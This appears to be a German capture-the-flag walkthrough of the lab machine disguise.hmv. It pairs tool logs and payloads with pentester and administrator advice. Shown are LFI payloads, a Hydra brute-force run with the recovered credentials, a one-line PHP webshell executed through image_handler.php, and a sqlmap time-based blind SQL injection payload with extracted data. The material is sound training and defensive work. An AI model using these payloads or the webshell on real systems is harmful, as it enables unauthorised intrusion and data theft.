Bewertung: Die Verwendung eines zentralen Skripts zum Laden von Ressourcen basierend auf einem Parameter wie `id` ist ein häufiges Muster, das anfällig für Schwachstellen sein kann, insbesondere Local File Inclusion (LFI) oder SQL-Injection (wenn die ID verwendet wird, um einen Dateipfad aus einer Datenbank abzufragen). Wenn die `id` nicht korrekt validiert wird, könnte ein Angreifer versuchen, andere Werte oder Pfade anzugeben, um auf unerwartete Dateien zuzugreifen.
Empfehlung (Pentester): Testen Sie den `image_handler.php`-Endpunkt auf LFI-Schwachstellen. Versuchen Sie, gängige Payloads wie `../../../../etc/passwd` oder Pfade zu bekannten Konfigurationsdateien (z.B. das zuvor von Gobuster gefundene `config.php`) über den `id`-Parameter zu laden. Untersuchen Sie, ob das Skript auch Filter umgehen kann (z.B. Null-Byte-Injektion, Pfad-Traversal-Variationen) oder ob es auf SQL-Injection anfällig ist, falls die ID in einer Datenbankabfrage verwendet wird.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die Dateien basierend auf Benutzereingaben laden (wie `image_handler.php`), strenge Validierungen und Sanitisierungen durchführen. Idealerweise sollten keine direkten Dateipfade aus Benutzereingaben konstruiert werden. Verwenden Sie Whitelists für erlaubte Dateien/Pfade oder stellen Sie sicher, dass Pfad-Traversal unmöglich ist (z.B. durch `basename()` in PHP und Überprüfung, ob die Datei in einem erlaubten Verzeichnis liegt). Wenn eine Datenbankabfrage involviert ist, verwenden Sie Prepared Statements.
Image not found
Analyse: Hier wird versucht, eine Local File Inclusion (LFI) Schwachstelle im Skript `image_handler.php` auszunutzen. Der Payload `php://filter/convert.base64-encode/resource=config.php` ist ein gängiger PHP-Filter-Wrapper-Trick, um den Inhalt einer Datei (hier `config.php`) Base64-kodiert auszugeben, auch wenn die direkte Ausgabe von PHP-Code oder bestimmten Zeichen blockiert ist. Die Antwort "Image not found" deutet darauf hin, dass dieser spezifische LFI-Versuch fehlgeschlagen ist.
Bewertung: Obwohl dieser Versuch fehlschlug, war er ein logischer nächster Schritt nach der Identifizierung des `image_handler.php`-Skripts. LFI ist eine häufige und gefährliche Schwachstelle. Das Scheitern bedeutet nicht, dass keine LFI vorhanden ist, sondern nur, dass dieser spezielle Payload nicht funktioniert hat.
Empfehlung (Pentester): Versuchen Sie andere LFI-Payloads und -Techniken für `image_handler.php?id=`: Standard-Pfad-Traversal (`../../etc/passwd`), direkte Dateinamen, Variationen zur Filterumgehung. Überprüfen Sie, ob der `id`-Parameter nur numerische Werte akzeptiert.
Empfehlung (Admin): Strenge Eingabevalidierung und -sanitisierung für alle Parameter, die Dateinamen oder -pfade beeinflussen. Verwenden Sie Whitelists für erlaubte Dateien/Pfade. Verhindern Sie Pfad-Traversal. Beschränken Sie die Berechtigungen des Webserver-Benutzers.
* Host dark.disguise.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.189 * Trying 192.168.2.189:80... * Connected to dark.disguise.hmv (192.168.2.189) port 80 * using HTTP/1.x > GET /profile.php HTTP/1.1 > Host: dark.disguise.hmv > User-Agent: curl/8.13.0 > Accept: */* > Cookie: dark_session=5lW+b4l9/57+xPbgYv77xHh34d0PVx5u5p5A639z7D0= > * Request completely sent off < HTTP/1.1 200 OK < Date: Sat, 03 May 2025 22:10:47 GMT < Server: Apache/2.4.59 (Debian) < Set-Cookie: PHPSESSID=nkodi2fknphn3s5q2p75lhc8o2; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Vary: Accept-Encoding < Content-Length: 576 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host dark.disguise.hmv left intact
Analyse: Dieser `curl`-Befehl versucht, auf `http://dark.disguise.hmv/profile.php` zuzugreifen und dabei ein spezifisches Cookie namens `dark_session` mit dem Wert `5lW+b4l9/57+xPbgYv77xHh34d0PVx5u5p5A639z7D0=` zu setzen.
-v
: Verbose-Modus, zeigt detaillierte Informationen über die Anfrage und Antwort.-L
: Folgt HTTP-Weiterleitungen.--cookie "dark_session=..."
: Setzt das angegebene Cookie.Bewertung: Dies ist ein wichtiger Schritt. Der Pentester hat offenbar einen gültigen Session-Cookie-Wert (`dark_session`) für die Anwendung auf `dark.disguise.hmv` erlangt oder erfolgreich gefälscht/erraten. Dadurch konnte auf die Profilseite zugegriffen werden, was normalerweise eine Authentifizierung erfordert. Wie dieser Cookie-Wert erlangt wurde, ist aus diesem Log-Eintrag nicht ersichtlich (z.B. durch einen anderen Exploit, Session Hijacking, Brute-Force von Cookie-Werten oder eine erfolgreiche Registrierung/Login mit anschließender Extraktion des Cookies). Es ist auch möglich, dass dieser Cookie von einem vorherigen, hier nicht gezeigten, erfolgreichen Login stammt.
Empfehlung (Pentester): Da nun Zugriff auf einen authentifizierten Bereich besteht (die Profilseite), sollte dieser Bereich gründlich auf weitere Schwachstellen untersucht werden: Gibt es Funktionen zum Ändern von Profildaten, die für XSS oder IDOR (Insecure Direct Object References) anfällig sein könnten? Gibt es Datei-Upload-Funktionen? Werden irgendwelche neuen Informationen oder Endpunkte sichtbar? Versuchen Sie, das `dark_session`-Cookie zu dekodieren oder zu analysieren, um seine Struktur zu verstehen.
Empfehlung (Admin): Überprüfen Sie, wie Session-Cookies generiert und validiert werden. Stellen Sie sicher, dass sie nicht leicht zu erraten oder zu fälschen sind. Implementieren Sie Schutzmaßnahmen gegen Session Hijacking (z.B. Binden von Sessions an IP-Adressen, obwohl dies bei mobilen Nutzern problematisch sein kann) und Session Fixation. Sorgen Sie für eine sichere Logout-Funktion, die Sessions serverseitig invalidiert. Setzen Sie das `HttpOnly` und `Secure` Flag für Cookies.
http://disguise.hmv/wp-login.php Error: The password you entered for the username simpleadmin is incorrect. Lost your password?
Analyse: Diese Ausgabe zeigt eine Fehlermeldung von der WordPress-Login-Seite (`wp-login.php`) der Hauptdomain `disguise.hmv`. Sie resultiert aus einem fehlgeschlagenen Anmeldeversuch mit dem Benutzernamen `simpleadmin`.
Bewertung: Die Meldung bestätigt, dass der Benutzer `simpleadmin` auf der WordPress-Instanz existiert, das eingegebene Passwort jedoch falsch war. Dies ist eine nützliche Information für einen Angreifer, um Benutzernamen zu validieren.
Empfehlung (Pentester): Da der Benutzername bestätigt ist, können gezielte Brute-Force-Angriffe gegen `simpleadmin` auf `disguise.hmv` durchgeführt werden, vorzugsweise über den `xmlrpc.php`-Endpunkt, falls aktiviert.
Empfehlung (Admin): Konfigurieren Sie WordPress so, dass generische Fehlermeldungen ausgegeben werden, die nicht verraten, ob der Benutzername oder das Passwort falsch war. Implementieren Sie Login-Rate-Limiting und/oder Captchas, um Brute-Force-Angriffe zu erschweren.
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - [Link: https://automattic.com/ | Ziel: https://automattic.com/] @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://disguise.hmv/ [192.168.2.190] [+] Started: Sun May 4 01:35:32 2025 Interesting Finding(s): [+] robots.txt found: http://disguise.hmv/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://disguise.hmv/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/] | - [Link: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/] | - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/] | - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/] [+] WordPress readme found: http://disguise.hmv/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://disguise.hmv/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://disguise.hmv/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - [Link: https://www.iplocation.net/defend-wordpress-from-ddos | Ziel: https://www.iplocation.net/defend-wordpress-from-ddos] | - [Link: https://github.com/wpscanteam/wpscan/issues/1299 | Ziel: https://github.com/wpscanteam/wpscan/issues/1299] [+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30). | Found By: Rss Generator (Aggressive Detection) | - http://disguise.hmv/feed/, <generator>[Link: https://wordpress.org/?v=6.8.1 | Ziel: https://wordpress.org/?v=6.8.1]</generator> | - http://disguise.hmv/comments/feed/, <generator>[Link: https://wordpress.org/?v=6.8.1 | Ziel: https://wordpress.org/?v=6.8.1]</generator> [i] The main theme could not be detected. [+] Enumerating Most Popular Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:00:08 <============> (1499 / 1499) 100.00% Time: 00:00:08 [+] Checking Plugin Versions (via Aggressive Methods) [i] Plugin(s) Identified: [+] akismet | Location: http://disguise.hmv/wp-content/plugins/akismet/ | Latest Version: 5.3.7 | Last Updated: 2025-04-14T23:37:00.000Z | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/plugins/akismet/, status: 403 | | [!] 1 vulnerability identified: | | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS) | Fixed in: 3.1.5 | References: | - [Link: https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c | Ziel: https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c] | - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357] | - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/ | - [Link: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html | Ziel: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html] | | The version could not be determined. [+] Enumerating Most Popular Themes (via Aggressive Methods) Checking Known Locations - Time: 00:00:02 <==============> (400 / 400) 100.00% Time: 00:00:02 [+] Checking Theme Versions (via Aggressive Methods) [i] Theme(s) Identified: [+] newsblogger | Location: http://disguise.hmv/wp-content/themes/newsblogger/ | Latest Version: 0.2.5.5 | Last Updated: 2025-04-29T00:00:00.000Z | Readme: http://disguise.hmv/wp-content/themes/newsblogger/readme.txt | [!] Directory listing is enabled | Style URL: http://disguise.hmv/wp-content/themes/newsblogger/style.css | Style Name: NewsBlogger | Style URI: [Link: https://spicethemes.com/newsblogger-wordpress-theme/ | Ziel: https://spicethemes.com/newsblogger-wordpress-theme/] | Description: NewsBlogger is a dynamic and versatile child theme for the popular NewCrunch WordPress theme. Perfec... | Author: spicethemes | Author URI: [Link: https://spicethemes.com | Ziel: https://spicethemes.com] | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/themes/newsblogger/, status: 200 | | [!] 2 vulnerabilities identified: | | [!] Title: NewsBlogger < 0.2.5.5 - Cross-Site Request Forgery to Arbitrary Plugin Installation | Fixed in: 0.2.5.5 | References: | - [Link: https://wpscan.com/vulnerability/916ba2a7-6592-4abf-acbf-63e46111b964 | Ziel: https://wpscan.com/vulnerability/916ba2a7-6592-4abf-acbf-63e46111b964] | - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1305 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1305] | - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2cac27-4a36-490f-b2d8-3c6f32843a38 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2cac27-4a36-490f-b2d8-3c6f32843a38] | | [!] Title: NewsBlogger < 0.2.5.2 - Authenticated (Subscriber+) Arbitrary File Upload | Fixed in: 0.2.5.2 | References: | - [Link: https://wpscan.com/vulnerability/ab2f96dc-e786-48db-8207-a76ec50d7e63 | Ziel: https://wpscan.com/vulnerability/ab2f96dc-e786-48db-8207-a76ec50d7e63] | - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1304 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1304] | - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/85cea6b5-d57b-495e-a504-a0c1ba691637 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/85cea6b5-d57b-495e-a504-a0c1ba691637] | | The version could not be determined. [+] newscrunch | Location: http://disguise.hmv/wp-content/themes/newscrunch/ | Latest Version: 1.8.4.6 | Last Updated: 2025-04-29T00:00:00.000Z | Readme: http://disguise.hmv/wp-content/themes/newscrunch/readme.txt | Style URL: http://disguise.hmv/wp-content/themes/newscrunch/style.css | Style Name: Newscrunch | Style URI: [Link: https://spicethemes.com/newscrunch | Ziel: https://spicethemes.com/newscrunch] | Description: Newscrunch is a magazine and blog theme. It is a lightweight, elegant, and fully responsive theme sp... | Author: spicethemes | Author URI: [Link: https://spicethemes.com | Ziel: https://spicethemes.com] | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/themes/newscrunch/, status: 500 | | [!] 2 vulnerabilities identified: | | [!] Title: Newscrunch < 1.8.4.1 - Cross-Site Request Forgery to Arbitrary File Upload | Fixed in: 1.8.4.1 | References: | - [Link: https://wpscan.com/vulnerability/b27a251e-c883-43df-8949-df876b1250af | Ziel: https://wpscan.com/vulnerability/b27a251e-c883-43df-8949-df876b1250af] | - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1306 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1306] | - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/1c507681-61e9-4bf0-8fe5-e2f401a7a8be | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/1c507681-61e9-4bf0-8fe5-e2f401a7a8be] | | [!] Title: Newscrunch < 1.8.4.1 - Authenticated (Subscriber+) Arbitrary File Upload | Fixed in: 1.8.4.1 | References: | - [Link: https://wpscan.com/vulnerability/22f2abb1-9ca8-4d37-870e-f3a1e78514de | Ziel: https://wpscan.com/vulnerability/22f2abb1-9ca8-4d37-870e-f3a1e78514de] | - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1307 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1307] | - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/b55567e9-24e6-4738-b7f7-b95b541e6067 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/b55567e9-24e6-4738-b7f7-b95b541e6067] | | The version could not be determined. [+] twentytwentyfive | Location: http://disguise.hmv/wp-content/themes/twentytwentyfive/ | Latest Version: 1.2 | Last Updated: 2025-04-15T00:00:00.000Z | Readme: http://disguise.hmv/wp-content/themes/twentytwentyfive/readme.txt | [!] Directory listing is enabled | Style URL: http://disguise.hmv/wp-content/themes/twentytwentyfive/style.css | Style Name: Twenty Twenty-Five | Style URI: [Link: https://wordpress.org/themes/twentytwentyfive/ | Ziel: https://wordpress.org/themes/twentytwentyfive/] | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor... | Author: the WordPress team | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org] | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/themes/twentytwentyfive/, status: 200 | | The version could not be determined. [+] twentytwentyfour | Location: http://disguise.hmv/wp-content/themes/twentytwentyfour/ | Latest Version: 1.3 | Last Updated: 2024-11-13T00:00:00.000Z | Readme: http://disguise.hmv/wp-content/themes/twentytwentyfour/readme.txt | [!] Directory listing is enabled | Style URL: http://disguise.hmv/wp-content/themes/twentytwentyfour/style.css | Style Name: Twenty Twenty-Four | Style URI: [Link: https://wordpress.org/themes/twentytwentyfour/ | Ziel: https://wordpress.org/themes/twentytwentyfour/] | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti... | Author: the WordPress team | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org] | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/themes/twentytwentyfour/, status: 200 | | The version could not be determined. [+] twentytwentythree | Location: http://disguise.hmv/wp-content/themes/twentytwentythree/ | Latest Version: 1.6 | Last Updated: 2024-11-13T00:00:00.000Z | Readme: http://disguise.hmv/wp-content/themes/twentytwentythree/readme.txt | [!] Directory listing is enabled | Style URL: http://disguise.hmv/wp-content/themes/twentytwentythree/style.css | Style Name: Twenty Twenty-Three | Style URI: [Link: https://wordpress.org/themes/twentytwentythree | Ziel: https://wordpress.org/themes/twentytwentythree] | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6.... | Author: the WordPress team | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org] | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/themes/twentytwentythree/, status: 200 | | The version could not be determined. [+] Enumerating Timthumbs (via Aggressive Methods) Checking Known Locations - Time: 00:00:14 <============> (2568 / 2568) 100.00% Time: 00:00:14 [i] No Timthumbs Found. [+] Enumerating Config Backups (via Aggressive Methods) Checking Config Backups - Time: 00:00:00 <===============> (137 / 137) 100.00% Time: 00:00:00 [i] No Config Backups Found. [+] Enumerating Medias (via Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) Brute Forcing Attachment IDs - Time: 00:00:00 <==========> (100 / 100) 100.00% Time: 00:00:00 [i] No Medias Found. [+] Enumerating Users (via Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] simpleadmin | Found By: Wp Json Api (Aggressive Detection) | - http://disguise.hmv/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] simpleAdmin | Found By: Rss Generator (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] neueradmin | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 6 | Requests Remaining: 18 [+] Finished: Sun May 4 01:36:06 2025 [+] Requests Done: 4786 [+] Cached Requests: 12 [+] Data Sent: 1.332 MB [+] Data Received: 2.418 MB [+] Memory used: 311.332 MB [+] Elapsed time: 00:00:33
Analyse: Dieser WPScan-Lauf ist dem zuvor geplanten sehr ähnlich, verwendet aber `u,p,t` (Benutzer, Plugins, Themes) statt `u,ap,at` für die Enumeration und fügt die Option `--force` hinzu. Auffällig ist, dass die Ziel-IP nun als `192.168.2.190` angezeigt wird, während sie zuvor `192.168.2.189` war. Dies könnte ein Tippfehler im Log, eine Änderung der IP des Ziels oder ein Scan gegen ein anderes, ähnliches Ziel sein. Für die weitere Analyse wird von `192.168.2.189` ausgegangen, es sei denn, es gibt explizite Hinweise auf eine IP-Änderung. Der API-Token wurde aus Sicherheitsgründen im Befehl gekürzt. Wichtige Ergebnisse dieses Scans:
Bewertung: Dieser aggressivere Scan hat zusätzliche, potenziell kritische Schwachstellen für das "newscrunch"-Theme aufgedeckt, ähnlich denen des "newsblogger"-Themes. Die Unstimmigkeit bei der Versionserkennung der Themes im Vergleich zum vorherigen Scan ist bemerkenswert. Die Entdeckung des "akismet"-Plugins mit einer alten Schwachstelle ist weniger kritisch, da XSS oft weitere Bedingungen erfordert. Die Enumeration von "neueradmin" bestätigt dessen Existenz in der Datenbank. Die im WPScan-Header angezeigte IP `192.168.2.190` weicht von der initialen `.189` ab und sollte zur Kenntnis genommen werden, auch wenn für die Analyse von `.189` ausgegangen wird.
Empfehlung (Pentester): Priorisieren Sie die Schwachstellen im "newsblogger"- und "newscrunch"-Theme (Authenticated Arbitrary File Upload). Da das Passwort für "simpleadmin" bekannt ist (`password`), versuchen Sie sich einzuloggen und zu bestimmen, welches Theme aktiv ist und ob die Version anfällig ist. Wenn ja, versuchen Sie, eine Webshell über die Arbitrary File Upload-Schwachstelle hochzuladen. Die XSS in Akismet kann als sekundärer Fund dokumentiert werden.
Empfehlung (Admin): **Dringend alle Themes ("newsblogger", "newscrunch") und Plugins ("akismet") auf die neuesten Versionen aktualisieren oder deinstallieren, wenn sie nicht benötigt werden.** Überprüfen und bereinigen Sie Benutzerkonten; der "neueradmin"-Account sollte untersucht und entfernt werden, wenn er nicht legitim ist. Führen Sie eine vollständige Sicherheitsüberprüfung der WordPress-Instanz durch.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-04 22:43:11 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344501 login tries (l:1/p:14344501), ~224133 tries per task [DATA] attacking http-post-form://dark.disguise.hmv:80/login.php:username=^USER^&password=^PASS^:用户名或密码不正确 [80][http-post-form] host: dark.disguise.hmv login: simpleAdmin password: Str0ngPassw0d1@@@ [STATUS] attack finished for dark.disguise.hmv (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-04 22:43:28
Analyse: Dies ist ein Hydra Brute-Force-Angriff auf die Login-Seite (`/login.php`) der Subdomain `dark.disguise.hmv`.
-l simpleAdmin
: Der zu testende Benutzername.-P /usr/share/wordlists/rockyou.txt
: Die verwendete Passwortliste.dark.disguise.hmv
: Das Ziel.http-post-form "/login.php:username=^USER^&password=^PASS^:用户名或密码不正确"
: Definiert den Login-Mechanismus und die Fehlererkennung ("Benutzername oder Passwort ist falsch").-f
: Stoppt, sobald ein gültiges Passwort gefunden wird.-t 64
: Verwendet 64 parallele Tasks.Bewertung: **Ein weiterer sehr wichtiger Durchbruch!** Der Zugriff auf die Anwendung unter `dark.disguise.hmv` wurde erlangt. Die Wiederverwendung des Benutzernamens "simpleAdmin" (oder einer Variation davon) und die Verwendung eines Passworts, das zwar komplexer aussieht, aber immer noch durch Brute-Force gefunden wurde, deuten auf Schwächen im Passwortmanagement hin.
Empfehlung (Pentester): Melden Sie sich sofort mit den Zugangsdaten `simpleAdmin:Str0ngPassw0d1@@@` auf `http://dark.disguise.hmv/login.php` an. Untersuchen Sie die Funktionalität der Anwendung, insbesondere Bereiche, die nach dem Login zugänglich werden, wie die zuvor gesehene `profile.php` oder das `manager/`-Verzeichnis. Suchen Sie nach Datei-Upload-Möglichkeiten, SQL-Injection-Punkten oder anderen Schwachstellen, die zu Remote Code Execution führen könnten.
Empfehlung (Admin): **Ändern Sie sofort das Passwort für den Benutzer "simpleAdmin" auf `dark.disguise.hmv` zu einem starken, einzigartigen Passwort!** Vermeiden Sie die Wiederverwendung von Benutzernamen und Passwörtern über verschiedene Systeme hinweg. Implementieren Sie Mechanismen zur Begrenzung von Anmeldeversuchen (Account Lockout) und erwägen Sie Zwei-Faktor-Authentifizierung, falls die Anwendung dies unterstützt. Führen Sie ein Audit der Benutzerkonten durch.
http://dark.disguise.hmv/manager/ 暗黑商店管理后台 返回个人中心 | 添加商品 | 退出 管理员控制台 欢迎使用管理后台
Analyse: Diese Ausgabe zeigt den Inhalt der Seite `http://dark.disguise.hmv/manager/` nach erfolgreichem Login (vermutlich mit den zuvor gefundenen Zugangsdaten `simpleAdmin:Str0ngPassw0d1@@@`). Die Seite heißt "暗黑商店管理后台" (Dark Shop Management Backend). Sie bietet Links zu "返回个人中心" (Zurück zum persönlichen Zentrum), "添加商品" (Produkt hinzufügen) und "退出" (Logout). Der Hauptbereich begrüßt den Benutzer im "管理员控制台" (Administratorkonsole). Die eingefügten Bilder visualisieren dies:
Bewertung: **Dies ist der Weg zur Remote Code Execution (RCE)!** Die Entdeckung einer Datei-Upload-Funktion in einem administrativen Backend ist ein klassischer Angriffsvektor. Wenn die Anwendung den Dateityp oder Inhalt der hochgeladenen Dateien nicht ausreichend validiert, können Angreifer bösartige Skripte (z.B. Webshells in PHP) hochladen und diese dann über den Webserver ausführen. Das Bild `test revshell_upload.jpg` bestätigt, dass dieser Upload-Versuch erfolgreich war.
Empfehlung (Pentester): Nachdem die Webshell (z.B. `test_revshell.php`) hochgeladen wurde:
http://dark.disguise.hmv/image_handler.php?id=11 <?php system($GET['cmd']); ?>
Analyse: Diese Ausgabe zeigt, dass der Aufruf von `http://dark.disguise.hmv/image_handler.php?id=11` den Quellcode einer PHP-Webshell zurückgibt: `<?php system($GET['cmd']); ?>`. Dies bedeutet, dass die Datei, die durch `id=11` referenziert wird, diese Webshell ist. Die Webshell nimmt einen Befehl über den GET-Parameter `cmd` entgegen und führt ihn auf dem Server mittels der PHP-Funktion `system()` aus. Es ist wahrscheinlich, dass diese Webshell zuvor über die im "manager"-Bereich gefundene Upload-Funktion hochgeladen und dann unter der ID `11` (oder einem Dateinamen, der intern dieser ID zugeordnet ist) gespeichert wurde.
Bewertung: **Die RCE-Fähigkeit ist hiermit bestätigt!** Der `image_handler.php` dient nun als Einfallstor, um die hochgeladene Webshell auszuführen. Die ID `11` ist der Schlüssel, um auf die Shell zuzugreifen. Dies ist ein direkter Weg, Befehle auf dem Webserver auszuführen.
Empfehlung (Pentester): Verwenden Sie diesen Endpunkt, um Befehle auf dem Server auszuführen. Beginnen Sie mit einfachen Befehlen wie `id`, `whoami`, `ls -la` um den Kontext zu verstehen. Etablieren Sie als Nächstes eine stabilere Reverse Shell für interaktiven Zugriff (z.B. mit `nc`, Python, Perl oder Bash).
Empfehlung (Admin): **Entfernen Sie sofort die bösartige Datei (ID 11 / die Webshell)!** Überprüfen und sichern Sie die Upload-Funktionalität im "manager"-Bereich, wie zuvor empfohlen. Führen Sie ein vollständiges Systemaudit durch, um das Ausmaß der Kompromittierung festzustellen und weitere bösartige Dateien oder Backdoors zu finden. Ändern Sie alle Passwörter.
___ __H__ ___ ___[(]_____ ___ ___ {1.9.4#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| [Link: https://sqlmap.org | Ziel: https://sqlmap.org] [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 23:18:15 /2025-05-04/ custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y [23:18:15] [INFO] testing connection to the target URL got a 302 redirect to 'http://dark.disguise.hmv/index.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y [23:18:15] [INFO] checking if the target is protected by some kind of WAF/IPS [23:18:16] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL') [23:18:16] [INFO] testing for SQL injection on (custom) POST parameter '#1*' for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [23:18:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [23:18:16] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done) [23:18:26] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [23:18:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests: --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=test&description=test' AND (SELECT 1878 FROM (SELECT(SLEEP(5)))fnQH) AND 'DfJt'='DfJt&price=1&image=dummy --- [23:18:41] [INFO] the back-end DBMS is MySQL [23:18:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y web server operating system: Linux Debian web application technology: Apache 2.4.59, PHP back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [23:26:00] [INFO] retrieved: images/2cd2118c9def83072c47977011ca469f. [23:28:03] [INFO] retrieved: images/c76bf961f084a3c713329bd86ef761ba. [23:30:19] [INFO] retrieved: images/003359a57d1dba36aaeb318fa9d6cf57. [23:32:30] [INFO] retrieved: images/3483ce4ef8666d7c4e572648329ffef5. SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 5 [5]: [*] images/003359a57d1dba36aaeb318fa9d6cf57. [*] images/c76bf961f084a3c713329bd86ef761ba. [*] images/2cd2118c9def83072c47977011ca469f. [*] images/3483ce4ef8666d7c4e572648329ffef5. [*] images/e6fab9a42a7217851430a12d5abf8ae5. [*] ending @ 23:21:05 /2025-05-04/
